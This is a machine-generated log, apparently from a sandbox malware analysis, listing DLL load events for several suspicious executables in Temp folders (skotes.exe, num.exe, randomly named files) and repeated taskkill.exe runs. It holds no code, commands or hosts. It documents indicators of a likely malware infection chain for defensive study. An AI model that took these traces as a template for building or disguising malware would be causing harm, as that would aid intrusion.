Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Section loaded: srvcli.dll
